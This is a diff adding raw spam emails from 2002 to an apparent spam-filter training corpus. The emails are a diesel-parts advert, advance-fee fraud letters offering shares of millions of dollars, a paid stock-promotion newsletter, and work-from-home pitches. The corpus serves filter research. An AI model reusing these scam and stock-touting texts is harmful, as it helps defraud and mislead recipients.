Èç¶ÔÎÒÃǵIJúÆ·¸ÐÐËȤ,Çë֪ͨÎÒÃÇ. + + + + + + we have been in the field of diesel fuel injection +systems for quite a few years.(CHINA) + + We tell you that we will update our VE h&r +(hydraulic heads for the VE distributor pump) list in our + +homepages.Thirty more models will be added.And the minimum +order will be 6pcs a model.We quote them as follows: +3-cyl:USD:50/1pcs +4-cyl:USD:50/1pcs +5-cyl:USD:55/1pcs +6-cyl:USD:55/1pcs + + We can ship the following three models to you within 8~10 weeks. after +we receive your payment. + If you feel interested in our products,please advise the details about +what you need,such model name,part number,quantity and so on.We are always +within your touch. + Looking forward to our favorable cooperation. + Hope to hear from you soon. +(NIPPON DENSO) +096400-0920 +096400-0143 +096400-0242 +096400-0371 +096400-0432 +096400-1030 +096400-1210 +096400-1230 +096400-1240 +096400-1250 +096400-1330 +096400-1331 +096400-1600 +096540-0080 +(ZEXEL) +146400-8821 +145400-3320 +146400-4520 +146400-8821 +146400-9720 +146401-0520 +146401-2120 +146402-0820 +146402-0920 +146403-2820 +146402-3820 +146402-4020 +146402-4320 +146403-3120 +146403-3520 +146404-1520 +146404-2200 +146430-1420 +(BOSCH) +1 468 333 320 +1 468 333 323 +1 468 334 313 +1 468 334 327 +1 468 334 337 +1 468 334 378 +1 468 334 475 +1 468 334 496 +1 468 334 565 +1 468 334 575 +1 468 334 580 +1 468 334 590 +1 468 334 594 +1 468 334 595 +1 468 334 596 +1 468 334 603 +1 468 334 604 +1 468 334 606 +1 468 334 666 +1 468 334 675 +1 468 334 720 +1 468 334 780 +1 468 334 798 +1 468 334 874 +1 468 334 899 +1 468 334 946 +2 468 334 021 +2 468 334 050 +2 468 335 022 +1 468 335 345 +2 468 336 013 +1 468 336 352 +1 468 336 364 +1 468 336 371 +1 468 336 403 +1 468 336 418 +1 468 336 423 +1 468 336 464 +1 468 336 480 +1 468 336 614 +1 468 336 626 + + + + + C.Hua + +Sales & purchasing director +http://WWW.China-LuTon.com +china_lutong@163.com + + diff --git a/bayes/spamham/spam_2/01106.37f316c0f77e739cb5fe0e37aaea2046 b/bayes/spamham/spam_2/01106.37f316c0f77e739cb5fe0e37aaea2046 new file mode 100644 index 0000000..5a8aa53 --- /dev/null +++ b/bayes/spamham/spam_2/01106.37f316c0f77e739cb5fe0e37aaea2046 @@ -0,0 +1,166 @@ +From social-admin@linux.ie Fri Jul 26 12:04:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0F61D440E7 + for ; Fri, 26 Jul 2002 07:04:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 12:04:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QB0r410685 for + ; Fri, 26 Jul 2002 12:00:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA23660; Fri, 26 Jul 2002 11:59:39 +0100 +Received: from 163.com ([218.6.8.11]) by lugh.tuatha.org (8.9.3/8.9.3) + with SMTP id LAA23607 for ; Fri, 26 Jul 2002 11:59:29 + +0100 +Message-Id: <200207261059.LAA23607@lugh.tuatha.org> +X-Authentication-Warning: lugh.tuatha.org: Host [218.6.8.11] claimed to be + 163.com +From: "diesel fuel injection" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Fri, 26 Jul 2002 18:59:12 +0800 +Reply-To: "diesel fuel injection" +X-Priority: 1 (Highest) +Content-Transfer-Encoding: 8bit +Subject: [ILUG-Social] Head & Rotor VE 07/26 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Dear Sir, + + *¡°ÖзͨÅä¼þ³§¡±×¨ÒµÉú²úVE±ÃÍ·(VE·ÖÅä±Ã±ÃÍ·×ܳÉ),Ö÷ÒªÐͺÅÓÐ + ÎåÊ®Áå4JB1,¿µÃ÷˹6BT,ÒÀά¿ÂµÍÅÅ·Å,ÎåÊ®ÁäƤ¿¨..... + + + + * ÖзͨÅä¼þ³§ÓжàÄêÉú²úVE±ÃÍ·µÄ¾­Ñé, ×÷Ϊ½ÏÔç½øÈëÓͱÃÓÍ×ìÐÐ + ÒµµÄרҵ³§,ÎÒÃÇʱ¿Ì¸ú×Ù¹ú¼Ê¸÷µØÆäËü²ñÓÍȼÓÍÅçÉäϵͳµÄÖÆ + ÔìÉ̵ÄÉú²ú¹¤ÒÕ,²¢ÇÒ²»¶ÏÎüÊÕ¹ú¼ÊÉÏ×îÏȽøµÄ¼Ó¹¤,²âÊÔ¹¤.²úÆ·µÄ + ÖÊÁ¿ºÍÍâ¹Ûͬ¹úÍâͬÀà²úÆ·Ï൱. + + * Èç¶ÔÎÒÃǵIJúÆ·¸ÐÐËȤ,Çë֪ͨÎÒÃÇ. + + + + + + we have been in the field of diesel fuel injection +systems for quite a few years.(CHINA) + + We tell you that we will update our VE h&r +(hydraulic heads for the VE distributor pump) list in our + +homepages.Thirty more models will be added.And the minimum +order will be 6pcs a model.We quote them as follows: +3-cyl:USD:50/1pcs +4-cyl:USD:50/1pcs +5-cyl:USD:55/1pcs +6-cyl:USD:55/1pcs + + We can ship the following three models to you within 8~10 weeks. after +we receive your payment. + If you feel interested in our products,please advise the details about +what you need,such model name,part number,quantity and so on.We are always +within your touch. + Looking forward to our favorable cooperation. + Hope to hear from you soon. +(NIPPON DENSO) +096400-0920 +096400-0143 +096400-0242 +096400-0371 +096400-0432 +096400-1030 +096400-1210 +096400-1230 +096400-1240 +096400-1250 +096400-1330 +096400-1331 +096400-1600 +096540-0080 +(ZEXEL) +146400-8821 +145400-3320 +146400-4520 +146400-8821 +146400-9720 +146401-0520 +146401-2120 +146402-0820 +146402-0920 +146403-2820 +146402-3820 +146402-4020 +146402-4320 +146403-3120 +146403-3520 +146404-1520 +146404-2200 +146430-1420 +(BOSCH) +1 468 333 320 +1 468 333 323 +1 468 334 313 +1 468 334 327 +1 468 334 337 +1 468 334 378 +1 468 334 475 +1 468 334 496 +1 468 334 565 +1 468 334 575 +1 468 334 580 +1 468 334 590 +1 468 334 594 +1 468 334 595 +1 468 334 596 +1 468 334 603 +1 468 334 604 +1 468 334 606 +1 468 334 666 +1 468 334 675 +1 468 334 720 +1 468 334 780 +1 468 334 798 +1 468 334 874 +1 468 334 899 +1 468 334 946 +2 468 334 021 +2 468 334 050 +2 468 335 022 +1 468 335 345 +2 468 336 013 +1 468 336 352 +1 468 336 364 +1 468 336 371 +1 468 336 403 +1 468 336 418 +1 468 336 423 +1 468 336 464 +1 468 336 480 +1 468 336 614 +1 468 336 626 + + + + + C.Hua + +Sales & purchasing director +http://WWW.China-LuTon.com +china_lutong@163.com + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/01107.5b3ad5e88347b08967ec627b815f2fc3 b/bayes/spamham/spam_2/01107.5b3ad5e88347b08967ec627b815f2fc3 new file mode 100644 index 0000000..dcef6d3 --- /dev/null +++ b/bayes/spamham/spam_2/01107.5b3ad5e88347b08967ec627b815f2fc3 @@ -0,0 +1,168 @@ +From social-admin@linux.ie Fri Jul 26 12:04:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6353A440E8 + for ; Fri, 26 Jul 2002 07:04:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 12:04:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QB0t410696 for + ; Fri, 26 Jul 2002 12:00:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA23689; Fri, 26 Jul 2002 11:59:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from urda.heanet.ie (urda.heanet.ie [193.1.219.124]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA23611 for ; + Fri, 26 Jul 2002 11:59:32 +0100 +Received: from 163.com ([218.6.8.11]) by urda.heanet.ie (8.9.3/8.9.3) with + SMTP id LAA18519 for ; Fri, 26 Jul 2002 11:59:29 +0100 +Message-Id: <200207261059.LAA18519@urda.heanet.ie> +From: "diesel fuel injection" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Fri, 26 Jul 2002 18:59:12 +0800 +Reply-To: "diesel fuel injection" +X-Priority: 1 (Highest) +Content-Transfer-Encoding: 8bit +Subject: [ILUG-Social] Head & Rotor VE 07/26 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Dear Sir, + + *¡°ÖзͨÅä¼þ³§¡±×¨ÒµÉú²úVE±ÃÍ·(VE·ÖÅä±Ã±ÃÍ·×ܳÉ),Ö÷ÒªÐͺÅÓÐ + ÎåÊ®Áå4JB1,¿µÃ÷˹6BT,ÒÀά¿ÂµÍÅÅ·Å,ÎåÊ®ÁäƤ¿¨..... + + + + * ÖзͨÅä¼þ³§ÓжàÄêÉú²úVE±ÃÍ·µÄ¾­Ñé, ×÷Ϊ½ÏÔç½øÈëÓͱÃÓÍ×ìÐÐ + ÒµµÄרҵ³§,ÎÒÃÇʱ¿Ì¸ú×Ù¹ú¼Ê¸÷µØÆäËü²ñÓÍȼÓÍÅçÉäϵͳµÄÖÆ + ÔìÉ̵ÄÉú²ú¹¤ÒÕ,²¢ÇÒ²»¶ÏÎüÊÕ¹ú¼ÊÉÏ×îÏȽøµÄ¼Ó¹¤,²âÊÔ¹¤.²úÆ·µÄ + ÖÊÁ¿ºÍÍâ¹Ûͬ¹úÍâͬÀà²úÆ·Ï൱. + + * Èç¶ÔÎÒÃǵIJúÆ·¸ÐÐËȤ,Çë֪ͨÎÒÃÇ. + + + + + + we have been in the field of diesel fuel injection +systems for quite a few years.(CHINA) + + We tell you that we will update our VE h&r +(hydraulic heads for the VE distributor pump) list in our + +homepages.Thirty more models will be added.And the minimum +order will be 6pcs a model.We quote them as follows: +3-cyl:USD:50/1pcs +4-cyl:USD:50/1pcs +5-cyl:USD:55/1pcs +6-cyl:USD:55/1pcs + + We can ship the following three models to you within 8~10 weeks. after +we receive your payment. + If you feel interested in our products,please advise the details about +what you need,such model name,part number,quantity and so on.We are always +within your touch. + Looking forward to our favorable cooperation. + Hope to hear from you soon. +(NIPPON DENSO) +096400-0920 +096400-0143 +096400-0242 +096400-0371 +096400-0432 +096400-1030 +096400-1210 +096400-1230 +096400-1240 +096400-1250 +096400-1330 +096400-1331 +096400-1600 +096540-0080 +(ZEXEL) +146400-8821 +145400-3320 +146400-4520 +146400-8821 +146400-9720 +146401-0520 +146401-2120 +146402-0820 +146402-0920 +146403-2820 +146402-3820 +146402-4020 +146402-4320 +146403-3120 +146403-3520 +146404-1520 +146404-2200 +146430-1420 +(BOSCH) +1 468 333 320 +1 468 333 323 +1 468 334 313 +1 468 334 327 +1 468 334 337 +1 468 334 378 +1 468 334 475 +1 468 334 496 +1 468 334 565 +1 468 334 575 +1 468 334 580 +1 468 334 590 +1 468 334 594 +1 468 334 595 +1 468 334 596 +1 468 334 603 +1 468 334 604 +1 468 334 606 +1 468 334 666 +1 468 334 675 +1 468 334 720 +1 468 334 780 +1 468 334 798 +1 468 334 874 +1 468 334 899 +1 468 334 946 +2 468 334 021 +2 468 334 050 +2 468 335 022 +1 468 335 345 +2 468 336 013 +1 468 336 352 +1 468 336 364 +1 468 336 371 +1 468 336 403 +1 468 336 418 +1 468 336 423 +1 468 336 464 +1 468 336 480 +1 468 336 614 +1 468 336 626 + + + + + C.Hua + +Sales & purchasing director +http://WWW.China-LuTon.com +china_lutong@163.com + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/01108.0a4bf099b98c488b65e8d6ca685d6867 b/bayes/spamham/spam_2/01108.0a4bf099b98c488b65e8d6ca685d6867 new file mode 100644 index 0000000..2ab3523 --- /dev/null +++ b/bayes/spamham/spam_2/01108.0a4bf099b98c488b65e8d6ca685d6867 @@ -0,0 +1,120 @@ +From remove@nok-nok.net Fri Jul 26 12:20:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 56648440E7 + for ; Fri, 26 Jul 2002 07:20:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 12:20:50 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6QBIf412073 for + ; Fri, 26 Jul 2002 12:18:43 +0100 +Received: from GP (adsl-61-146-110.mia.bellsouth.net [208.61.146.110]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6QBHWp26266 for + ; Fri, 26 Jul 2002 12:17:44 +0100 +From: "Nok-Nok" +To: "Jm" +Subject: The Ultimate in PC Security and Surveillance. +Date: Fri, 26 Jul 2002 07:17:02 -0400 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +Message-Id: <063653437040507@nok-nok.net> +Organization: Nok-Nok +X-Mailer: Internet Mail Service +Content-Type: multipart/alternative; boundary="----_NextPart_165172954316671" + +This is a multi-part message in MIME format. + +------_NextPart_165172954316671 +Content-Type: text/plain; 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charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <01ef93848151a72NTSERVER@ntserver.yueli.com.tw> +Subject: [ILUG] ilug-admin,Enhance your Bust Amazing Breast Enhancing Capsules +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +================================= + +Guaranteed to increase, lift and firm your +breasts in 60 days or your money back!! + +100% herbal and natural. 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I am writing in respect of a foreign customer of my bank +with account number 14-255-2004/utb/t who perished in a plane crash +[Korean Air Flight 801] with the whole passengers aboard on August 6, +1997. + +Since the demise of this our customer, I personally has watched +with keen interest to see the next of kin but all has proved abortive +as no one has come to claim his funds of usd.20.5 m, [twenty million +five hundred thousand united states dollars] which has been with my +branch for a very long time. On this note, I decided to seek for whom +his name shall be used as the +next of kin as no one has come up to be the next of kin. And the +banking ethics here does not +allow such money to stay more than five years, because money will be +recalled to the bank treasury as unclaimed after this period. In view +of this I got your contact through a trade journal after realizing +that your name and country is similar to the deceased. I will give +you 25% of the total. + +Upon the receipt of your response, I will send you by fax or e-mail +the application, bank's fax number and the next step to take. I will +not fail to bring to your notice that this business is hitch free and +that you should not entertain any fear as all modalities for fund +transfer can be finalized within five banking days, after you apply +to the bank as a relation to the deceased. + +When you receive this letter. Kindly send me an e-mail signifying +Your decision including your private Tel/Fax numbers for quick +communication. + +Respectfully submitted, + +Obi W. + + diff --git a/bayes/spamham/spam_2/01116.3aab7bf5532577432137e263d3674a9a b/bayes/spamham/spam_2/01116.3aab7bf5532577432137e263d3674a9a new file mode 100644 index 0000000..eeb12e1 --- /dev/null +++ b/bayes/spamham/spam_2/01116.3aab7bf5532577432137e263d3674a9a @@ -0,0 +1,103 @@ +From beth@yahoo.com Mon Jul 29 11:20:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E2361440EC + for ; Mon, 29 Jul 2002 06:20:53 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:20:53 +0100 (IST) +Received: from sunlong.com ([202.105.130.36]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6QITsp29175 + for ; Fri, 26 Jul 2002 19:29:59 +0100 +Message-Id: <200207261829.g6QITsp29175@mandark.labs.netnoteinc.com> +Received: from smtp0231.mail.yahoo.com([66.12.0.202]) by sunlong.com(JetMail 2.5.3.0) + with SMTP id jm23d41e3a2; Fri, 26 Jul 2002 18:20:23 -0000 +Reply-To: beth@yahoo.com +From: beth331611@yahoo.com +To: yyyy@netcomuk.co.uk +Cc: yyyy@netdados.com.br, yyyy@neteze.com, yyyy@netmagic.net, + jm@netmore.net, jm@netnoteinc.com, jm@netrevolution.com, + jm@netset.com, jm@netunlimited.net, jm@netvigator.com +Subject: smut passes 331611865443 +Mime-Version: 1.0 +Date: Fri, 26 Jul 2002 11:27:33 -0700 +Content-Type: text/html; charset="iso-8859-1" + + + + + + + +
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    Vol. +6, Issue 243 - August 2002

    +

    The +Wall Street Bulletin

    +
    +
    Your +First Source For News From "The Street"
    +

    Symbol: IGTT
    +Shares Outstanding: 373,400,0000
    +Float (est.): 52,560,000
    +Short-Term Target: $3.75
    +52 week High/Low: $1.10/0.02
    +Rating: Strong Buy

    +

    Our last pick +Symphony Telecom (OTCBB: SYPY) went UP 100% in just one week!!!

    +

    InDigiNet Identifies +Acquisition Targets with Combined Revenues of $35 Million...

    +

     

    +

    Telecom Consolidation Begins to Accelerate +

    +

    The Wall Street Bulletin believes +that the recent +investment of capital into Level 3, lead by Warren Buffett, +is further proof of the continued validity of the telecommunication +market when looked at from the perspective of the small to mid-sized +enterprises. After the boom and bust comes the revival. For some +carriers drowning in debt, such as Global Crossing and WorldCom, +the future may be dim. But for those survivors of the industry +that have managed to remain on their feet, other companies' problems +mean opportunity. "Every major industry in the history of +the United States has experienced a similar transformation, from +the railroads in the late 1800s to the automakers in the mid-1900s +to the Dot-Coms at the end of the 20th century," says Robert +Saunders, director of the Eastern Management Group market +research firm. Christopher +Dean, CTO of OSS company Eftia, says "We are seeing all +the people that are the survivors. There's all this pent-up money +and for the surviving carriers out there, they can get what used +to cost a few billion for a few millions." Read the full +story from Telecommunications Magazine - See the link at the end +of this newsletter.

    +

    As we write this report, our New Recommendation +InDigiNet, Inc. (OTCBB: +IGTT) has only been trading on the OTC Bulletin Board since +late May of 2002. As InDigiNet, Inc. continues to implement its +business plan, we believe this company will help lead the way +up for the resurgence of the Telecom Sector. This could be our +strongest recommendation of the year. We are giving IGTT our Highest +Rating of STRONG BUY/AGGRESSIVE GROWTH.

    +

     

    +

    Ground Floor Opportunity / Tremendous +Growth Potential

    +

    We believe IGTT will perform equally to, if not +greater than its competition. A similar telecommunications company, +Talk America Holdings (Nasdaq: TALK), share +price began to explode in April of this year moving from just +over $0.40/share to over $4.00/share in late June. Talk America +Holdings previously had a market cap of only $24.51 million, but +today has a market cap of $267 million.

    +

    IGTT curently has a market cap of $22.42 million. +Using the TALK model for potential growth, IGTT could very well +be trading in the .60 range in only a few months, with a market +cap in excess of $250 million. This would be an increase of 1000%. +So you see why IGTT has such great potential and the time is right + for investors to get in on the ground floor.

    +

     

    +

    The InDigNet Strategy

    +

    InDigiNet, Inc. is an integrated solutions company +that provides small to mid-sized enterprises (SMEs) with an integrated +communication solution. InDigiNet is a prestigious "Diamond" +level partner of Avaya, as well as a reseller for Cisco and +Compaq. The Company will offer data, local, long distance and +wireless services to SMEs over third party networks enabling the +Company to offer a comprehensive suite of services without the +capital burden of building a communication network. The Company’s +strategy is to acquire the customer bases of smaller, single market +communication companies and attractively priced Internet +Service Providers (ISPs). The Company recently completed +its acquisitions of Fox Telecommunications and WBConnect. +InDigiNet will then expand the breadth of their services to grow +revenue and enhance profitability. SMEs account for $120 billion +in commercial telephony, data services and technology spending, +or 33% of the country’s total market, and this spending +is expected to grow at above average rates over the next ten years. +Source: Morgan Stanley Dean Witter.

    +

    The IGTT web site: www.indiginet.com

    +

     

    +

    The IT Market

    +

    Based on recent studies, the country’s 7.4 +million SMEs currently lag significantly in the utilization of +IT and data +communications, including Internet access, web services, business +software and e-commerce. Worldwide IT spending increased to $981 +billion US for the year, an overall increase of 3.7 percent over +2001, according to a study released 7/24/2002 by market researcher +IDC. IT spending in 2003 is expected to reach record heights, +growing by 9 percent worldwide to top the $1 trillion mark for +the first time. In IDC's revised forecasts for IT spending in +2002 and 2003, IT spending in the US is expected to increase by +3 percent this year over 2001 to $436 billion, with further growth +of 9 percent in 2003. Western Europe can expect growth of 4 percent +in 2002 and 6 percent in 2003. Though Japan will experience flat +growth levels this year, by next year growth in the market will +return to the tune of 7 percent with particular strength shown +in China, India, Korea, Russia, the Philippines, South Africa +and Poland. Source: IDC

    +

     

    +

    Particulars

    +

    The Wall Street Bulletin is putting IGTT on our +Strong Buy/Aggressive Growth recommendation list for the following +reasons:

    +

    1. The Company's strategy is to acquire the customer +bases of smaller, single-market communication companies and attractively +priced Internet Service Providers (ISPs). The Company will sell +its bundled service package to the acquired customer base that +will form a direct and immediate distribution channel for all +types of communication services - local, long distance, wireless, +and data.

    +


    +2. The Company is currently serving many customers in the Denver/Front +Range communities but in particular the education vertical market +has recognized the value of integrating a wireless broadband data +network into the existing campus network. The Company's customers +include United States Olympic Committee +(USOC), University of Denver, +and Colorado State University. +

    +


    +3. The Company has identified approximately $35,000,000 in revenues +to acquire comprised of distressed assets to be auctioned in bankruptcy +court and smaller communication providers with valuable customer +bases. Each of the targeted companies are within the Company's +footprint and will, subject to purchase completion, increase the +Company's embedded customer base.

    +

     

    +

    Investment Consideration

    +

    InDigiNet Inc recently filed its 10QSB, for the +three months ended March 31, 2002. IGTT reported Revenues of $339,694 +in Q1 2002 vs. Revenues of $0 in Q1 2001. At this current growth +rate, revenues should grow above $1.3 million for their first +year of production with no increases in acquisitions. As more +and more large corporations come under government scrutiny, investors +will turn to small to mid-sized companies with their investment +dollars.

    +

     

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +Fox Telecommunications, Inc. - PRNewswire - CLICK +HERE

    +

    NEWS - InDigiNet, Inc. Completes Acquisition of +WBConnect - PRNewswire - CLICK +HERE

    +

     

    +

    NEWS - Telecom Consolidation Begins to Accelerate +- from Telecommunications Magazine - CLICK +HERE

    +

     

    +

    Industry Interests - Telecommunications Websites: +TIA Online - Telecommunications +Magazine - IT World

    +

     

    +

    The Wall +Street Bulletin is an independent newsletter and is not affiliated +with InDigiNet, Inc.

    +

     

    +

    The Wall Street Bulletin is an independent +research firm. This report is based on The Wall Street Bulletin’s +independent analysis but also relies on information supplied by +sources believed to be reliable. This report may not be the opinion +of IGTT management. The Wall Street Bulletin has also been retained +to research and issue reports on IGTT and was paid ten thousand +dollars by a shareholder of the company. The Wall Street Bulletin +may from time to time buy or sell IGTT common shares in the open +market without notice. The information contained in this report +is not intended to be, and shall not constitute, an offer to sell +or solicitation of any offer to buy any security. It is intended +for information only. Some statements may contain so-called “forward-looking +statements”. Many factors could cause actual results to +differ. Investors should consult with their Investment Advisor +concerning IGTT. Copyright 2002 © The Wall Street Bulletin +- All Rights Reserved

    +

    I no longer wish to receive your +newsletter CLICK +HERE

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+LTIxMmpPV2MwMTE3UnBJcDItNjk0Z2JjWDk3NThvSlJkMy02MDVwVlZnMzM5 +Nk9KZUM0LTU4MmNBdEY2OTE3WUdPVTktbDcz +------=_NextPart_000_00A6_65D74A6D.D6752B68-- + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! 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    + + + + diff --git a/bayes/spamham/spam_2/01150.c429b55e3a5834c74d18f9b0bfc968cd b/bayes/spamham/spam_2/01150.c429b55e3a5834c74d18f9b0bfc968cd new file mode 100644 index 0000000..ae309e6 --- /dev/null +++ b/bayes/spamham/spam_2/01150.c429b55e3a5834c74d18f9b0bfc968cd @@ -0,0 +1,62 @@ +From doitnow@freemail.nl Mon Jul 29 11:22:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05A3544116 + for ; Mon, 29 Jul 2002 06:21:01 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:21:01 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6SHXdp04931; + Sun, 28 Jul 2002 18:33:40 +0100 +Received: from freemail.nl (unknown [200.213.185.130]) + by smtp.easydns.com (Postfix) with SMTP + id 6AE473057F; Sun, 28 Jul 2002 13:33:31 -0400 (EDT) +Reply-To: +Message-ID: <004c06d63bcd$7265b1e3$2bd15ed1@gkmxxf> +From: +To: mike23@hotmail.com +Subject: work from home. free info +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: MIME-tools 5.503 (Entity 5.501) +Importance: Normal +Date: Sun, 28 Jul 2002 13:33:31 -0400 (EDT) +Content-Transfer-Encoding: 8bit + +WE NEED HELP. We are a 14 year old fortune 500 company, and we have +grown 1000%! We cannot keep up. We are looking for individuals who +want to work at home, and make a good living. + +So if you are looking to be employed from home with a career that has +vast opportunities, then go: + +http://www.lotsonet.com/opportunity + +and fill out our info form. NO EXPERIENCE REQUIRED, WE WILL TRAIN YOU. +NO COMMITTMENT IS REQUIRED BY FILLING OUT THE FORM, IT IS FOR INFO +ONLY. + +http://www.lotsonet.com/opportunity + +You want to be independent? THEN MAKE IT HAPPEN! +HAPPEN! + +SIMPLY CLICK ON THE LINK BELOW FOR FREE, NO OBLIGATED INFORMATION! +GUARANTEED! + +http://www.lotsonet.com/opportunity + + +To be removed from our link simple go to: + +http://www.lotsonet.com/opportunity/remove.html + + +4171uCAC8-021gCco3337qYKc4-050NVjZ1161Zl37 + + diff --git a/bayes/spamham/spam_2/01151.e295c81d698d58f43f17bde22076cbef b/bayes/spamham/spam_2/01151.e295c81d698d58f43f17bde22076cbef new file mode 100644 index 0000000..292a4a9 --- /dev/null +++ b/bayes/spamham/spam_2/01151.e295c81d698d58f43f17bde22076cbef @@ -0,0 +1,43 @@ +From mrsabacha_11@mail.com Mon Jul 29 11:22:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1222644117 + for ; Mon, 29 Jul 2002 06:21:01 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:21:01 +0100 (IST) +Received: from mandark.labs.netnoteinc.com (host-66-133-58-214.verestar.net [66.133.58.214]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6SIT5p05023 + for ; Sun, 28 Jul 2002 19:29:08 +0100 +Message-Id: <200207281829.g6SIT5p05023@mandark.labs.netnoteinc.com> +From: "Hajia Maryam Abacha" +Date: Sun, 28 Jul 2002 19:28:54 +To: yyyy@netnoteinc.com +Subject: Call me on My Telephone Number 234-80-33357110 +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +Dear friend, +May I briefly introduce myself to you. I am Hajia Maryam Abacha, the wife of late Nigerian Head of State, General Sanni Abacha, who died on the 8th of June 1998. ever since the death of my husband, my family has been facing a lot of problems mostly with the present civilian government. Consequently, my son - Mohammed Abacha has been under torture in detention for a sin he did not commit and made to make a lot of confessions as regards valuables and money, including that of my late husband entrusted in his hand for safe keeping. +The latest is the confession of the US$700,000,000.00 (Seven Hundred Million United States Dollars) cash his late father gave him for safe keeping. Please check News watch Magazine of May 8th / 15th, 2000 issue on [Website:http://www.newswatchngr.com] to confirm the above story. Also the recent publication by this day Newspaper on Thursday March 1st Edition, which London Court clear ways for more recovery of Abacha's family looted money. Please confirm this issue on website; http://www.thisdayonline.com, click the Archieve/2001/March 2001/Thursday March 1st. +On this note, I deposited a total sum of US$40,300,000.00 (Forty Million, three hundred thousand United states Dollars) sometimes March last year with a security company abroad (name withheld for now). Normally, we (1 and Mohammed Abacha) usually do such transactions, by first sending the money out by cargo to security company outside Nigeria, as photographic materials. +And thereafter go to the security company for claims before transferring it to any bank of our choice. Presently, I cannot travel out of Nigeria, because, if you have gone through the above mentioned website address, you will see how my son's confessions had implicated my husband and in fact the whole of my family. This has actually caused the federal Government of Nigeria to confiscate our International passports, frozen every of my family member's bank accounts, both home and abroad, even our properties. +My problem now is, I want someone that can assist me move the US$40,300,000.00 (Forty Million Three Hundred Thousand United States Dollars) out from the Security Company and move the money to your country. +I shall be ready to negotiate with you any percentage you might want from the sum. On your advice I shall be ready to invest my own share of the sum in your country. I assure you that there will be no problems at all in the course of moving out the money. Please kindly contact me on my e-mail:mrsabacha_11@mail.com or FAX 234-1-7590893, I shall so much appreciate your immediate response for full details of the business which shall be given 